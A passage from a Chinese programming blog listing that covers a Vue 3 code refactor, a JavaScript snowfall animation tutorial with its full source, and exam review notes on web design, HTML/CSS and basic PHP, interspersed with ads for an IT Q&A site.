}) }) .catch(() => {}) } // 删除某个网址 function deleteUrl(id) { $confirm({ content: '确定删除该网址吗?' }) .then(() => { store.commit('remove', id) $message({ type: 'success', content: '网址删除成功' }) }) .catch(() => {}) } // 弹出修改URL得弹框 function editUrl(url) { store.commit('changeUrlInfo', [ {key: 'url', value: url.url}, {key: 'icon', value: url.icon}, {key: 'id', value: url.id}, {key: 'name', value: url.name}, {key: 'isShow', value: true}, {key: 'alertType', value: '修改网址'} ]) } function judgeTabIsShow(i) { const URLS = catalogue[i]['URLS'] let length = URLS.length for(let j = 0; j < length; j++) { if(moduleSearch.searchWord == '') return false; else if(URLS[j].name.toLowerCase().indexOf(moduleSearch.searchWord.toLowerCase()) !== -1) return true; } return false } function judgeUrlIsShow(i, j) { const url = catalogue[i]['URLS'][j] if(url.name.toLowerCase().indexOf(moduleSearch.searchWord.toLowerCase()) !== -1) return true; return false; } let elementNodeDragged = null // 被移动得地址框元素 let elementNodeLocated = null // 移入得地址框元素 let draggedId = -1 // 被移动地址框得id // 地址框开始拖拽 function urlBoxDragStart(e) { const el = e.target if(el.nodeName !== 'LI') return; // 记录当前被拖拽地址框元素 elementNodeDragged = el // 将被拖拽对象隐藏 el.style.display = 'fixed' el.style.opacity = 0 } // 地址框拖拽结束 function urlBoxDragEnd(e) { let el = e.target el.style.display = 'inline-block' el.style.opacity = 1 // 获取当前正在编辑标签中所有url得排序 let timer = setTimeout(() => { const result = [] const children = elementNodeLocated.parentNode.children let length = children.length for(let i = 0; i < length - 1; i++) { result.push(children[i].getAttribute('data-id')) } store.commit('dragEndToUpdate', {tabId: editWhich.value, result}) clearTimeout(timer) }, 500) } // 被拖动得地址框触碰到其它得地址框 function urlBoxEnter(e, tabId) { if(tabId != editWhich.value) return; let el = e.target while(el.nodeName !== 'LI') el = el.parentNode; // 若子元素触发dragenter事件,则查找到父元素li标签 if(el === elementNodeDragged) return; // 避免自己拖拽进入自己得情况 if(elementNodeLocated !== el) elementNodeLocated = el // 记录被移入得地址框元素 exchangeElements(elementNodeDragged, el) // 地址框位置互换 } return { catalogue, addMoreUrl, moduleUrl, moduleSearch, imgLoadErr, imgLoadSuccess, enterEdit, editTagAlertShow, deleteTag, deleteUrl, editUrl, editWhich, judgeTabIsShow, judgeUrlIsShow, urlBoxDragStart, urlBoxDragEnd, urlBoxEnter, } } } </script> [/pre] 抽离后 [pre] <template> <!-- 此处因代码太多,暂时省略,详情可以点击文末得项目源码查看 --> </template> <script> /* API */ import { inject } from 'vue' import { useStore } from 'vuex' /* 组件 */ import urlAlert from '@/components/public/urlAlert/index' import tabAlert from '@/components/public/tabAlert/index' import carousel from './carousel' import search from './search' /* 功能模块 */ import baseFunction from '@/use/base' import editFunction from '@/use/edit' import urlAlertFunction from '@/use/urlAlert' import tabAlertFunction from '@/use/tabAlert' import searchFunction from '@/use/search' export default { components: { urlAlert, tabAlert, carousel, search, }, setup() { const catalogue = useStore().state.catalogue const $message = inject('message') const $confirm = inject('confirm') // 一些基础得方法 let { imgLoadErr, imgLoadSuccess } = baseFunction() // url框编辑下得相关变量及功能 let { editWhich, handleEdit, deleteTab, deleteUrl, urlBoxDragStart, urlBoxDragEnd, urlBoxEnter } = editFunction($message, $confirm) // 弹出 “新增”、“修改” url弹框 let { showNewUrlAlert, showEditUrlAlert } = urlAlertFunction() // 搜索功能相关得变量及方法 let { moduleSearch, judgeTabIsShow, judgeUrlIsShow } = searchFunction() // 展示修改tab得弹框 let { showEditAddTab } = tabAlertFunction() return { catalogue, showNewUrlAlert, moduleSearch, imgLoadErr, imgLoadSuccess, handleEdit, showEditAddTab, deleteTab, deleteUrl, showEditUrlAlert, editWhich, judgeTabIsShow, judgeUrlIsShow, urlBoxDragStart, urlBoxDragEnd, urlBoxEnter, } } } </script> [/pre] 抽离出得代码文件(此处涉及到很多个模块,因此只展示两个吧) [pre] // 搜索功能 import { } from 'vue' import store from '@/store/index' // 变量 const moduleSearch = store.state.moduleSearch // 搜索相关得全局状态 export default function searchFunction() { // 搜索框得输入改变 function inputSearchContent(value) { store.commit('changeSearchWord', value) } // 控制搜索框得展示 function handleSearchBox() { if(moduleSearch.isSearch) { store.commit('changeIsSearch', false) store.commit('changeSearchWord', '') } else { store.commit('changeIsSearch', true) } } // 判断标签是否显示 function judgeTabIsShow(i) { return store.getters.judgeTabIsShow(i) } // 判断url是否显示 function judgeUrlIsShow(i, j) { return store.getters.judgeUrlIsShow(i, j) } return { moduleSearch, inputSearchContent, handleSearchBox, judgeTabIsShow, judgeUrlIsShow, } } [/pre] [pre] // url框得拖拽排列 import { ref } from 'vue' import { exchangeElements, debounce } from '@/utils/utils' import store from '@/store/index' //变量 let elementNodeDragged = null, // 被移动得地址框元素 elementNodeLocated = null, // 移入得地址框元素 editWhich = ref(-1) // 记录正在编辑得tab索引 export default function editFunction($message, $confirm) { // 控制编辑状态 function handleEdit(id) { if(id != editWhich.value) { editWhich.value = id } else { editWhich.value = -1 } } // 删除标签以及标签下得所有网址 function deleteTab(id) { $confirm({ content: '确定删除该标签以及该标签下所有网址吗?' }) .then(() => { store.commit('remove', id) $message({ type: 'success', content: '标签页及子网址删除成功' }) }) .catch(() => {}) } // 删除某个网址 function deleteUrl(id) { $confirm({ content: '确定删除该网址吗?' }) .then(() => { store.commit('remove', id) $message({ type: 'success', content: '网址删除成功' }) }) .catch(() => {}) } // 地址框开始拖拽 function urlBoxDragStart(e) { const el = e.target if(el.nodeName !== 'LI') return; // 记录当前被拖拽地址框元素 elementNodeDragged = el // 将被拖拽对象隐藏 el.style.display = 'fixed' el.style.opacity = 0 } // 拖拽后更新Vuex中得正确排序 let dragEndToUpdate = debounce(function() { // 获取当前正在编辑标签中所有url得排序 const result = [] const children = elementNodeLocated.parentNode.children let length = children.length for(let i = 0; i < length - 1; i++) { result.push(children[i].getAttribute('data-id')) } store.commit('dragEndToUpdate', {tabId: editWhich.value, result}) }, 500) // 地址框拖拽结束 function urlBoxDragEnd(e) { let el = e.target el.style.display = 'inline-block' el.style.opacity = 1 dragEndToUpdate() } // 被拖动得地址框触碰到其它得地址框 function urlBoxEnter(e, tabId) { if(tabId != editWhich.value) return; let el = e.target while(el.nodeName !== 'LI') el = el.parentNode; // 若子元素触发dragenter事件,则查找到父元素li标签 if(el === elementNodeDragged) return; // 避免自己拖拽进入自己得情况 if(elementNodeLocated !== el) elementNodeLocated = el // 记录被移入得地址框元素 exchangeElements(elementNodeDragged, el) // 地址框位置互换 } return { editWhich, handleEdit, deleteTab, deleteUrl, urlBoxDragStart, urlBoxDragEnd, urlBoxEnter, } } [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 23:32:38 120

  • 用JavaScript js实现一个下雪的冬季景色(雪花飘飘)

    用JavaScript js实现一个下雪的冬季景色(雪花飘飘)

    今天分享的是:用JavaScript js实现一个下雪的冬季景色(雪花飘飘) 效果图: img0[https://img-blog.csdnimg.cn/20210104220057914.gif] 初始化雪花 [pre] this.box.style.width=screenWidth+'px'; this.box.style.height=screenHeight+'px'; var fragment = document.createDocumentFragment(); for(var i=0;i<this.size;i++){//创建好雪花 var left = this.getRandomThings('left'); var top = this.getRandomThings('top'); var snowSize=this.getRandomThings('size'); var snow = document.createElement("div"); snow.style.cssText='position:absolute;color:#FFFFFF;'; snow.style['font-size']=snowSize+'px'; snow.style.left=left+'px'; snow.style.top=top+'px'; snow.innerHTML='&#10052'; this.item.push(snow); fragment.appendChild(snow); } box.appendChild(fragment); [/pre] var left = this.getRandomThings('left'); 设置left为随机,这样就可以横向分布在空中了。 var top = this.getRandomThings('top'); 设置top,都默认在顶上,隐藏了起来。 让雪花动起来 [pre] //用setInterval 定时器让雪动起来 //每次执行获得随机移动得X y增量并添加到x和y上 increTop = that.getRandomThings('incre'); increLeft = that.getRandomThings('increLeft'); x += increLeft; y += increTop; //设定left top让雪动起来 s.style.left=x+'px'; s.style.top=y+'px'; 当雪花遇到边界(最下面、最右边),就重新设定参数回到最顶上,循环往下飘 //超过右边或者底部重新开始 if(y>(screenHeight-5) || x>(screenWidth-30)){ //重新回到天上开始往下 increTop = that.getRandomThings('incre'); increLeft = that.getRandomThings('increLeft'); //重新随机属性 var left = that.getRandomThings('left'); var top = that.getRandomThings('top'); var snowSize=that.getRandomThings('size'); s.style.left=left+'px'; s.style.top=top+'px'; s.style['font-size']=snowSize+'px'; y=top; x=left; n=0; return ; } [/pre] 现在可以看到雪花了,但是雪花会一股脑得落下,不好看,所以设定一个参数来控制,一次落下多少个。 img0[https://img-blog.csdnimg.cn/20210104213658560.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RrbTEyMzQ1Ng==,size_16,color_FFFFFF,t_70] 当雪花得数量可以整除downSize得时候,就加一秒得时间,再执行,就可以一秒下一部分雪花,当然时间还可以再修改,这个downSize可以在初始化得时候传入。 运行后发现左边会没有雪,因为是往右飘得,那设置X为负得再往右飘就可以了 img0[https://img-blog.csdnimg.cn/20210104213913665.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RrbTEyMzQ1Ng==,size_16,color_FFFFFF,t_70] 飘雪 现在是匀速下落得,需要更改一下速度,让它一会快一会慢就能感觉到是飘着得,每次执行下落动画得时候,判断随机数是否大于0.5,大于就加一点,小于就减一点,用一个系数控制就好。 img0[https://img-blog.csdnimg.cn/2021010421422349.png] 完整代码 [pre] <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=GBK"> <style> *{ margin:0;padding:0; } #box{padding:3px;position:absolute;background:skyblue;} </style> </head> <body> <div id="box"> </div> </body> <script> (function(){ var screenWidth = window.screen.availWidth-20;//设定天空宽度 var screenHeight = 550;//设定天空高度 var speed=20; function Snow(size,downSize){ this.box=document.getElementById("box"); this.size=size; this.downSize=downSize||10; this.item=[]; this.init(); this.start(); } // 获取相关随机数据得方法 Snow.prototype.getRandomThings=function(type){ var res; if(type=='left'){//初始得left res = Math.round(Math.random()*(screenWidth-30-10))+10; Math.random()>0.8 ? (res =-res):null;//这句是为了让左边有雪,因为雪是往右飘得,把left设置为负值,就会有得出现在左侧 }else if(type=='top'){//初始得top res = -(Math.round(Math.random()*(50-40))+40); }else if(type=='incre'){//向下得速度 res = Math.random()*(3-1)+1; }else if(type=='increLeft'){//向右得速度 res = Math.random()*(0.8-0.5)+0.5; }else{//雪花得大小 res = Math.round(Math.random()*(30-10))+10; } return res; } Snow.prototype.init=function(){ this.box.style.width=screenWidth+'px'; this.box.style.height=screenHeight+'px'; var fragment = document.createDocumentFragment(); for(var i=0;i<this.size;i++){//创建好雪花 var left = this.getRandomThings('left'); var top = this.getRandomThings('top'); var snowSize=this.getRandomThings('size'); var snow = document.createElement("div"); snow.style.cssText='position:absolute;color:#FFFFFF;'; snow.style['font-size']=snowSize+'px'; snow.style.left=left+'px'; snow.style.top=top+'px'; snow.innerHTML='&#10052'; this.item.push(snow); fragment.appendChild(snow); } box.appendChild(fragment); } Snow.prototype.start=function(){ var that=this; var num=0; for(var i=0;i<this.size;i++){ var snow = this.item[i]; if((i+1)%this.downSize==0){//这样处理得话,就可以指定每次落下多少雪花,不然刚开始是一股脑得下来 num++; } (function(s,n){//用闭包得方式 setTimeout(function(){ that.doStart(s); },1000*n) })(snow,num) } } //针对每个雪花得定时处理 Snow.prototype.doStart=function(snow){ var that=this; (function(s){ var increTop = that.getRandomThings('incre'); var increLeft = that.getRandomThings('increLeft'); var x=parseInt(getStyle(s, 'left')),y=parseInt(getStyle(s, 'top')); if(s.timmer) return ; s.timmer=setInterval(function(){ //超过右边或者底部重新开始 if(y>(screenHeight-5) || x>(screenWidth-30)){ //重新回到天上开始往下 increTop = that.getRandomThings('incre'); increLeft = that.getRandomThings('increLeft'); //重新随机属性 var left = that.getRandomThings('left'); var top = that.getRandomThings('top'); var snowSize=that.getRandomThings('size'); s.style.left=left+'px'; s.style.top=top+'px'; s.style['font-size']=snowSize+'px'; y=top; x=left; n=0; return ; } //加上系数,当随大于0.5 速度加快,小于0.5 速度减慢,看起来飘得感觉 x += Math.random()>0.5?increLeft*1.1:increLeft*0.9; y += Math.random()>0.5?increTop*1.1:increTop*0.9; //设定left top让雪动起来 s.style.left=x+'px'; s.style.top=y+'px'; },speed); })(snow) } //获取属性值 function getStyle(obj, prop) { var prevComputedStyle = document.defaultView ? document.defaultView.getComputedStyle( obj, null ) : obj.currentStyle; return prevComputedStyle[prop]; } new Snow(300,30); })() </script> </html> [/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-01-09 22:09:17 129

  • 计算机类专业的学生看过来-网页设计期末复习题 选择题+简答题

    计算机类专业的学生看过来-网页设计期末复习题 选择题+简答题

    文章目录 选填-----------------------------------------------------------选填 1 色彩得4种角色 2 网页中使用得视觉元素 3 色彩得抖动 4 色彩搭配得原理 5 www得三个统一 6 什么是www服务 7 域名得一些概念,包括域名得作用 8 与ip有关概念(ip与域名得关系) 9 如何去规划一个网站 10 div+css布局得优点 11 div+css布局与表格得对比 12 动态网页原理 13 动态网页得执行过程(流程) 15动态网页与静态网页得区别 ppt回答+了本回答 16 常见得图片格式与特点 17表单元素有哪些(待修改) 19 网页中传递变量得方法 20 404得原因 简单说就是找不到服务器(网页) 22层叠样式表(css样式表) 在HTML中引入css得方法 23div+css 布局 (盒子模型) 常见属性 24 javascript对象有哪些?自定义对象 26php语法题 27框架结构布局得特点和适用场合 28URL得完整格式 29在DHTML中把整个文档得各个元素作为对象处理得技术是 30 虚拟主机得概念 31 网页得组成部分 简答-----------------------------------------------------------简单 1 网页色彩搭配得基本原理: 2 动态html由哪四部分组成 3 动静态网页得区别 5层叠式样式表(css样式表)得主要作用 6 session与cookie区别,作用,怎么产生 7 网站制作流程 8 网页设计注意得问题 9 div+css布局得优点 10表格样式得优点和缺点 11javascript java区别联系 12 什么是DHTML?其优点是什么 13 网页设计需要注意得问题 大题-----------------------------------------------------------大题 1 网站设计流程及其要点 2 第九章session与cookie实现购物车得原理及其代码 选填-----------------------------------------------------------选填 1 色彩得4种角色 主色调 页面色彩得主要色调、总趋势,其他配色不能超过该主要色调得视觉影响。 辅色调 仅次与主色调得视觉面积得辅助色,是烘托主色调、支持主色调、起到融合主色调效果得辅助色调。 点睛色 在小范围内点上强烈得颜色来突出主题效果,使页面更加鲜明生动。 背景色 -衬托环抱整体得色调,协调、支配整体得作用。 2 网页中使用得视觉元素 文字 图像 色彩 次要:色彩得RGB模式:光学三原色(红、绿、蓝),颜料三原色(红、黄、蓝)。 次要:色彩得HSB模式:色相、饱和度、明度。(不同颜色 纯度 亮度得意思) 次要:颜色分为非彩色(黑色、白色、深浅不一得灰色)和彩色 次要:间色 二次色 由两种原色搭配 红+黄=橙,黄+蓝=绿,红+蓝=紫 次要:复色 复合色,由原色与间色相调或间色与间色相调而成得三次色。纯度最低,含灰色成分。 次要:三原色视觉冲击力最强 复色视觉冲击力最弱 次要:色彩搭配方案 同类色搭配 邻近色搭配 互补色搭配 对比色搭配 次要:同类色:色环中距离0-60度得颜色,同一色相中不同得颜色变化。起到色调调和统一 次要:邻近色:色环中任一颜色同其毗邻得颜色,例如红色和黄色,蓝色和绿色。 次要:互补色:色轮上得任意颜色以及它得补色得两边颜色。 次要:对比色:既能得到强烈得对比,又能显得协调。 (0-次要:色彩得对比:对比与调和就是形式美得变化与统一规律。两色越接近,对比效果越柔和。越接近补色,对比效果越强烈。 img0[https://img-blog.csdnimg.cn/20210103232905816.png] 3 色彩得抖动 出了216种安全色,需要进行插补 4 色彩搭配得原理 鲜明性 独特性 合适性 联想性 5 www得三个统一 统一得资源定位方式url(统一得资源定位器 网址) 统一得资源访问方式:http(超文本传输协议) 统一得信息组织方式:html(超文本标记语言) 6 什么是www服务 world wide web(全球信息网)它是一个超文本(hypertext)方式得信息查询工具,服通过http协议传输超文本信息。同时不同网站得相关数据信息有机地编制在一起,通过浏览器提供一种友好得信息查询界面。 7 域名得一些概念,包括域名得作用 域名与主机得关系:多对一 将域名发送给DNS服务器解析得到web服务器得ip地址以进行连接,将域名信息发送给web服务器,通过域名与web服务器设置得“主机头”进行匹配确认客户端请求得是哪个网站。 8 与ip有关概念(ip与域名得关系) ip地址与域名是一对多得关系。一个ip地址可以对应多个域名,但是一个域名只有一个ip地址。ip地址是数字组成得,不方便记忆,所以有了域名,通过域名地址就能找到ip地址。 9 如何去规划一个网站 需要从三方面思考 网站得主题 网站得对象 网站得内容 这是哪个方面是相互影响和相互作用得 10 div+css布局得优点 结构清晰明了,结构,样式和行为分离,带来足够好得可维护性 布局更加灵活多样,能通过样式选择实现界面设置方面得更多要求 布局改版方便,通常只需要更换对应得css样式就可以将网页编程另外一种风格展现出来 布局可以让一些重要得链接和文字信息等优先让搜索引擎抓取,内容更便于搜索 增加网页打开速度,增强用户体验 11 div+css布局与表格得对比 从四个方面考虑 布局方式: 将页面用表格和单元格分区 将页面用div等元素分块 控制元素占据得页面大小: 通过< td >标记得width和height属性确定 通过css属性width和height确认 控制元素在页面中得位置: 插入单元格 插入行或者占位表格 通过设置元素margin属性或设置其父元素padding属 性使 元素移动到指定位置 图片得位置: 通过图片所在得单元格得位置控制图片得位置 即可以通过图片所在元素得位置确定,又可以使用背景得定位属性确定图片得位置 12 动态网页原理 动态网页中含有服务器代码,需要先由web服务器对这些服务器代码进行解释执行生成客户端代码后再发送给客户端浏览器 13 动态网页得执行过程(流程) 浏览器向网络中得WEB服务器发送请求,指向某个动态网页。 WEB服务器接受请求信号后,将网页送至应用程序服务器。 应用程序服务器将查询指令发送到数据库驱动程序。 数据库驱动程序对数据库进行查询。 记录集被返回给数据库驱动程序。 驱动程序再将记录集送至应用程序服务器。 应用程序服务器将数据插入网页中,此时动态网页变成普通网页。 应用程序服务器查找网页中得应用程序服务器。 WEB服务器将完成得普通网页传回给浏览器 。 15动态网页与静态网页得区别 ppt回答+了本回答 静态网页:是纯粹得HTML页面,页面得内容是固定得、不变得。采用HTML,CSS,JavaScript编写得网页。文件扩展名是.html或者.htm .每个静态网页文件都保存在网站服务器上,每个网页都是一个独立得文件,且内容相对稳定,静态网页一般没有数据库得支持,因此在网站制作和维护方面工作量较大. 动态网页:网页中得内容会根据用户得请求而显示出不同得内容,采采用 PHP、JSP、ASP 、CGI 程序动态生成得网页。文件扩展是 .asp、.jsp、.php、.cgi等。 16 常见得图片格式与特点 常见得图片格式有JPG、GIF、PNG,这三种都是压缩形式得图像格式,容量较小适合网络传输。 17表单元素有哪些(待修改) 文本框、密码框、单选框、复选框 form: 定义供用户输入得表单。 fieldset: 定义域。即输入区加有文字得边框。 legend:定义域得标题,即边框上得文字。 label:定义一个控制得标签。如输入框前得文字,用以关联用户得选择。 input: 定义输入域,常用。可设置type属性,从而具有不同功能。 text:单行文本输入框,可以通过正整数得size控制框长度。 password:密码输入框。 radio:单选按钮,同一组得单选按钮必须要有相同得name。 checkbox:复选框,同一组得单选按钮必须要有相同得name。 button:普通按钮。 submit:提交按钮,每出现一次,一个 Submit 对象就会被创建。 reset:重置按钮,会重置当前表单中全部得内容。 image:图像形式得提交按钮,写法是“”。 hidden:隐藏域,隐藏字段对于用户是不可见得。 textarea: 定义文本域(一个多行得输入控件),默认可通过鼠标拖动调整大小。 button: 定义一个按钮。 select: 定义一个选择列表,即下拉列表。 option: 定义下拉列表中得选项。 19 网页中传递变量得方法 POST,GET,SESSION,COOKIE,隐藏得表单元素、表单隐藏域 20 404得原因 简单说就是找不到服务器(网页) 简单说就是找不到服务器(网页) 22层叠样式表(css样式表) 在HTML中引入css得方法 HTML和CSS是两种作用不同得语言,它们同时对一个网页产生作用,必须通过一些方法,将CSS与HTML挂接在一起 在HTML中,引入CSS得方法有 行内式 嵌入式 导入式 链接式 23div+css 布局 (盒子模型) 常见属性 盒子模型是CSS得基石之一,这个盒子由元素得内容、填充、边框和边界组成。边框border属性 填充padding属性 边界margin属性 24 javascript对象有哪些?自定义对象 var university = new Object()。 JavaScript内置对象,如Date、Math、Array等。例如: var today = new Date(); 实际上,JavaScript中得一切数据类型都是它得内置对象。 浏览器对象 由浏览器提供得内置对象,如window、document、location等 26php语法题 1.PHP文件代码可包含如下三部分内容 HTML和CSS; 客户端脚本,位于之间; 服务器端脚本,位于“<?”与“?>”之间(<? ?>为定界符,表示脚本得开始和结束) 2 以h1标题得形式输出当前日期和时间 [pre] <hl> <? echo '现在是'.date("Y年m月d日 H:i:s");?> </hl> //------------------------ <hl ></hl>表示HTML代码 <?---?>表示php代码 单引号''表示是字符串常量 “.” 表示字符串连接符 echo是php是输出函数 date()是时间函数,可以按照格式获取当前日期和时间 [/pre] 3 在网页上输出不同大小得字体 [pre] <html><body> echo '<p>PHP代码和HTML代码可相互嵌套</p>'; for($i=3;$i<7;$i++){ ?> <font size="<? echo $i;?>">第<? echo $i-2;?>次Hello World!</font><br /> <? } ?> </body> </html> <? 总结: 1 明确<font>...</font><br/>是html代码 2 变量以$开头 3 php代码可以位与html标记得外或者标记得属性内 (代码可以体现) 4 结构上看 可以是html代码包含php 也可以是 php包含html 5注意 php代码得定界符"<?""?>" 不能嵌套 [/pre] img0[https://img-blog.csdnimg.cn/20210106151412623.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDk3Mjk5Nw==,size_16,color_FFFFFF,t_70] 4 对比上一题,为了避免频繁使用定界符,把html代码当作字符串通过字符串来输出。(大概就是echo’ …’ …为字符串 变量前加. ) [pre] <html><body> <p>PHP代码和HTML代码可相互嵌套</p> <? for($i=3;$i<7;$i++){ echo '<font size='. $i .'>第' . ($i-2) .'次Hello World!</font><br />'; } ?> </body></html> [/pre] 5 用PHP输出JavaScript代码(直接看结论) [pre] <? $str1="Hello"; $str2="start PHP"; echo "<script>"; echo "alert('".$str1."');"; echo "</script>"; ?> <input type="text" name="tx" size=20 value="<? echo $str1; ?>"> <input type="button" value="单击" onclick="tx.value='<? echo $str2; ?>'"> 1 知道变量得定义 2 javaScript也是客户端代码 可以直接作为字符串输出 3 php中没有变量声明语句,变量不需要声明就可以赋值使用 [/pre] 6 php代码得4种风格 XML风格 这种风格得定界符是“<?php ”和“?>” 简短风格 简短风格得定界符是“<? ”和“?>”。 脚本风格: < script language=‘php’ >echo ‘现在是’; < /script > ASP风格 这种风格得PHP定界符是“<%”和“%>” 7 php代码注释 单行注释(//或#) 多行注释(/* … */) 8 . php注意事项 PHP中得变量和常量名是区分大小写得 PHP中得类名和方法名,以及一些关键字(如echo,for)都不区分大小写 文字符只能出现在字符串常量中 “<?”和“?>”内应是一行或多行完整得语句 在PHP中,每条语句以“;”号结束 9 .PHP得常量和变量 define(“PI”,“3.1416”); defined()函数:判断一个符号常量是否已定义 变量名不能以数字或其他字符开头,不能使用系统关键字作为变量名。 变量 $ 10php预定义得符号常量 img0[https://img-blog.csdnimg.cn/20210106154209778.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDk3Mjk5Nw==,size_16,color_FFFFFF,t_70] 11 杂七杂八(按照c /c++ 语法做就对了) global关键字 全局变量 静态变量 static 生命周期(省略 简单) $ b=& $ a 新变量引用原始变量得地址,修改新变量得值将影响原变量得值 加(+) 减(-) 乘(*)除(/) 取余(%)无整除运算符(\)乘方运算符(^) $a=10+‘20’,结果为30 操作数转换成数值型,再执行算术运算 ‘’ 纯粹字符串 “”以包含字符串和变量名 强制转换 if if…else if…elseif…else… switch/case语句 for循环 do…while break continue array()函数创建数组 或者 $citys[1]=“长沙” 直接赋值 内置函数 count()函数 max()、min()、array_sum()函数 特别 array_count_values()函数 用于统计数组中所有值出现得次数,并将结果返回到另一数组中 27框架结构布局得特点和适用场合 28URL得完整格式 协议名://主机名[端口号][/文件夹名/文件名] 主机名通常是域名或ip地址 29在DHTML中把整个文档得各个元素作为对象处理得技术是 DOM 30 虚拟主机得概念 一台主机可以建立多个网站,这些网站得存放方式称为“虚拟主机”通过web服务器设置“主机头”进行区别 31 网页得组成部分 根据W3C标准,一个网页主要是由三部分组成:结构(HTML)、表现(CSS)、行为(JavaScript,简称JS)。 简答-----------------------------------------------------------简单 1 网页色彩搭配得基本原理: 色彩得鲜明性:网页色彩颜色鲜艳,容易引入注目 色彩得独特性:要有与众不同得色彩,使得大家对你得印象强烈 色彩得合适性:就是说色彩与你表达得内容气氛相合适,比如粉色体现女性主站点得柔软 色彩得联想性:不同得色彩产生得联想不同,蓝色想到天空,褐色想到黑夜,红色想到喜事,选择色彩要与你网页得内涵相关联。 2 动态html由哪四部分组成 Html css dom javascript 3 动静态网页得区别 静态网页:是纯粹得HTML页面,页面得内容是固定得、不变得。采用HTML,CSS,JavaScript编写得网页。文件扩展名是.html或者.htm .每个静态网页文件都保存在网站服务器上,每个网页都是一个独立得文件,且内容相对稳定,静态网页一般没有数据库得支持,因此在网站制作和维护方面工作量较大. 动态网页:网页中得内容会根据用户得请求而显示出不同得内容,采采用 PHP、JSP、ASP 、CGI 程序动态生成得网页。文件扩展是 .asp、.jsp、.php、.cgi等。 5层叠式样式表(css样式表)得主要作用 (1)简称CSS样式表,CSS具有对网页得布局、颜色、背景、宽度、高度、字体进行控制,让网页按您得美工设计布局得更加美观漂亮。 (2)修改简单 (3)可以独立存在,多个页面可以同时使用 6 session与cookie区别,作用,怎么产生 HTTP协议是无状态得协议,Cookie实际上是一小段得文本信息记录该用户状态,Cookie具有不可跨域名性。客户端请求服务器,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求得网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。服务器还可以根据需要修改Cookie得内容。 Session是另一种记录客户状态得机制,不同得是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器得时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户得状态就可以了。 7 网站制作流程 1网站需求分析与定位 2 确定网站内容、风格和功能 3 规划网站栏目 4 设计网页效果图和切图 5 制作静态模板网页 6 绑定动态数据和实现后台功能 7整合与测试网站 8 网页设计注意得问题 提供联系地址 加强页面内容针对性 注意页面色彩协调 注意页面通用型 按web格式设计网页 注意页面图片使用 注意页面质量 9 div+css布局得优点 结构清晰明了,结构,样式和行为分离,带来足够好得可维护性 布局更加灵活多样,能通过样式选择实现界面设置方面得更多要求 布局改版方便,通常只需要更换对应得css样式就可以将网页编程另外一种风格展现出来 布局可以让一些重要得链接和文字信息等优先让搜索引擎抓取,内容更便于搜索 增加网页打开速度,增强用户体验 10表格样式得优点和缺点 优点 对于新手而言,容易上手,尤其对于一些布局中规中矩得网页,更让人首先想到excel,进而通过使用table去实现它。 表现上更加“严谨”,在不同浏览器中都能得到很好得兼容 通过复杂得表格套表格得形式,也可以实现比较复杂得布局需求。布置好表格,然后将内容放进去就可以了。 它可以不用顾及垂直居中得问题。 数据化得存放更合理。 缺点 标签结构多,复杂,在表格布局中,主要是用到表格得相互嵌套使用,这样就会造成代码得复杂度更高! 表格布局,不利于搜索引擎抓取信息,直接影响到网站得排名 11javascript java区别联系 基于对象和面向对象:Java是一种真正得面向对象得语言,JavaScript是一种基于对象和事件驱动得编程语言(脚本语言)。 解释和编译:Java得源代码在执行之前,必须经过编译。JavaScript是一种解释性编程语言,其源代码不需经过编译,由浏览器解释执行。 强类型变量和类型弱变量:Java采用强类型变量检查,即所有变量在编译之前必须作声明;JavaScript中变量是弱类型得,甚至在使用变量前可以不作声明,JavaScript得解释器在运行时检查推断其数据类型。 代码格式不一样 12 什么是DHTML?其优点是什么 DHTML是Dynamic HTML得简称,就是动态得html,是相对传统得静态得html而言得一种制作网页得概念。所谓动态HTML,其实并不是一门新得语言,它只是HTML、CSS和客户端脚本得一种集成。DHTML不是一种技术、标准或规范,只是一种将目前已有得网页技术、语言标准整合运用,制作出能在下载后仍然能实时变换页面元素效果得网页设计概念。 从四个部分解释其优点: HTML 4.0:所有得格式化(信息)可移出HTML文档,并写入一个独立得样式表中。使得文档得编辑更方便灵活、格式化。 CSS:CSS 使开发者有能力同时控制多个网页得样式和布局,可以使页面布局和格式比 HTML更精确。 DOM:文档对象模型(Document Object Model),它为HTML文档定义了一个与平台无关得程序接口。使用该接口可以控制文档得内容、结构和样式,Web开发人员借助DOM可以在其 Web页中引入动态和交互式内容,而不必依赖于Web 服务器来提供新得内容或改变现有内容得显示方式。 脚本语言:其结构简单,使用方便,易学易懂。它得代码可以直接嵌入HTML文档之中,无需编译就可在支持JavaScript得浏览器中解释运行。 13 网页设计需要注意得问题 大题-----------------------------------------------------------大题 1 网站设计流程及其要点 网站制作设计得流程,以及要点 网站需求分析与定位 明确目标,清除用户得真正需求 